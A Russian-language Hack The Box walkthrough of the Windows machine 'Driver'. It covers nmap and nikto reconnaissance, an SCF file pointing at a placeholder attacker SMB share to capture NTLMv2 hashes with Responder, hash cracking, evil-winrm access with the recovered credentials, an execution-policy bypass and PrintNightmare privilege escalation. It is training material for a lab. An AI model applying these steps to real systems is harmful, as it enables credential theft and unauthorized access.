Найти тему

Прохождение машины Driver на HTB (Hack The Box)

Оглавление

Прохождение машины Driver на Hack The Box
Прохождение машины Driver на Hack The Box

Итак, сегодня мы разберём прохождение машины Driver на Hack The Box. Сложность - Easy. ОС - Windows.

Разведка

Любое исследование начинается с разведки. В качестве основного инструмента для первоначального анализа машины используем nmap.

Nmap

Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sC (для использования стандартных скриптов) и -sV (для обнаружения версий сервисов):

nmap -sC -sV -p- 10.10.11.106

Nmap нашел 4 открытых TCP порта, 80 (HTTP), 135 (RPC), 445 (SMB), 5985 (Microsoft Windows Remote Management - WinRM).

-2

По полученной информации можно судить, что перед нами Windows 10 или Windows Server 2016 и выше. Также открытый порт с сервисом WinRM, который можно будет использовать для удаленного подключения на машину в дальнейшем, когда обнаружим учетные данные.

HTTP TCP 80

Для доступа на сайт требуется ввести логин и пароль.

-3

Nikto

Запустим Web-сканер Nikto для получения дополнительной информации и уязвимостей на сайте.

nikto -h 10.10.11.106

С помощью Nikto находим, что для входа на сайт используются учетные данные admin:admin.

-4

MFP Firmware Update Center

Заходим на сайт. Сетевой ресурс представляет собой MFP Firmware Update Center.

-5

В ходе анализа содержимого сайта обнаружено, что помимо заглавной страницы index.php обнаружена страница загрузки прошивки для принтера fw_up.php. Проанализируем форму загрузки файлов:

-6
-7

Reverse Shell

В форму загрузки файлов можно попытаться загрузить shell и выполнить reverse shell с помощью утилиты netcat. Данная атака не удается, т.к. машина с ОС Windows и необходимо искать другие пути.

-8

RPC

Для получения информации об RPC воспользуемся rpcdump из состава Impacket:

impacket-rpcdump 10.10.11.106

-9

Исследуя вывод rpcdump обнаруживаем, что на машине поднят сервис spoolsv.exe:

-10

Соотнося название машины (driver), заглавный скриншот с сайта (принтер) и то, что поднят сервис spoolsv.exe, можно судить, что данная машина уязвима к недавней громкой уязвимости PrintNigtmare. На GitHub находим несколько реализаций CVE-2021-1675, но все они LPE, т.е. локальные, а значит эту уязвимость будем пробовать эксплуатировать, когда окажемся внутри системы, для поднятия привилегий.

SMB

Запускаем сканирование smb с помощью скриптов nmap

nmap --script "safe or smb-enum-*" -p 445 10.10.11.106

-11

Попробуем также подключиться с помощью smbmap:

-12

Получение доступа

Загрузка SCF

Страница загрузки файла говорит, что все файлы будут загружены на локальное файловое хранилище. Машина имеет открытый SMB порт, поэтому файлы будут загружаться на локальное хранилище SMB, а значит мы можем выполнить поиск информации об уязвимостях хранилища файлов SMB.

Выполнив поиск информации об уязвимостях загрузки файлов SMB, находим информацию про SCF File Attacks.

Файлы SCF (Shell Command Files) можно использовать для выполнения ограниченного набора операций, таких как отображение рабочего стола Windows или открытие проводника Windows. Однако SCF файл может быть использован для доступа к определенному UNC пути, что позволяет провести атаку.
Данная атака заключается в следующем: когда у вас есть доступ на запись в файловое хранилище SMB, то можно записать файл .scf, который будет ссылаться на файл, например icon-файл, на подконтрольном атакующей стороне SMB ресурсе. Когда пользователь просматривает общий ресурс, автоматически устанавливается соединение из его системы с путем UNC, который содержится в файле SCF. Windows попытается пройти аутентификацию на этом ресурсе с помощью учетных данных пользователя.

Формат файла scf следующий:

[Shell]
Command=2
IconFile=\\X.X.X.X\share\test.ico
[Taskbar]
Command=ToggleDesktop

Получение Хешей

Для получения хешей учетных данных будем использовать следующий SCF файл:

-13

Для перехвата учетных данных при обращении к сетевому ресурсу используем утилиту responder.

Responder - это инструмент для выполнения атаки “человек посередине” (Man-in-the-Middle) в отношении методов аутентификации в Windows. Эта программа включает в себя LLMNR, NBT-NS и MDNS poisoner благодаря которому перенаправляется трафик с запросами и хешами аутентификации.
Также в программу встроены поддельные серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и HTTP basic, для которых Responder выполняет роль ретранслятора.

Выполняем запуск responder, для получения NTLMv2 хеша:

responder -I tun0

Выполняем загрузку .scf файла и перехватываем хеш:

-14

Взлом хеша

Для взлома хеша используем утилиту “John The Ripper” и получаем пароль liltony:

-15

WinRM

На этапе разведки был обнаружен открытый TCP порт 5985. Это порт WinRM (Windows Remote Management).

WinRM это реализация Microsoft WS-Management в Windows, которая позволяет системам получать доступ или обмениваться управляющей информацией через общую сеть.

Пробуем подключиться к WinRM. Для этого используем консольную утилиту evil-winrm:

evil-winrm -u tony -p liltony -i 10.10.11.106

Получаем удаленный доступ к атакуемой Windows машине. В папке Desktop находим файл с флагом “user.txt”:

-16

Повышение привилегий

Winpeas

Загружаем на машину WinPEAS, для поиска путей повышения привилегий.

Обнаруживаем знакомый spoolsv.exe, который отвечает за обработку процессов печати на локальном компьютере в операционных системах Microsoft Windows.

-17

Эксплуатация PrintNightmare

Как ранее уже было сказано, можно попробовать выполнить эксплуатацию уязвимости PrintNightmare CVE-2021-1675. Для этого воспользуемся PowerShell версией эксплойта https://github.com/calebstewart/CVE-2021-1675.

Загружаем скрипт на машину:

-18

Выполняем попытку эксплуатации с помощью Import-Module:

-19

Получаем ошибку, связанную с выключенной функцией запуска скриптов на системе. Для включения возможности запуска скриптов используем команду:

Set-ExecutionPolicy RemoteSigned

Данная команда также заблокирована, поэтому попробуем включить возможность исполнения команд для текущего пользователя с помощью команды:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

-20

Успех. Теперь можно попробовать выполнить эксплуатацию PrintNightmare.

-21

Получение флага root.txt

Подключаемся за созданного администратора admin с паролем P@ssw0rd с помощью Evil-Winrm:

-22

Переходим в папку Desktop пользователя Administrator и получаем флаг root.txt:

-23

Подписывайтесь на наш паблик ВКонтактеTelegramЯндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!

#HTB #HACKTHEBOX #HACKING #HACKER #ПЕНТЕСТ #ПЕНТЕСТИНГ #КИБЕРБЕЗОПАСНОСТЬ #cybersecurity #SECWARE #информационная безопасность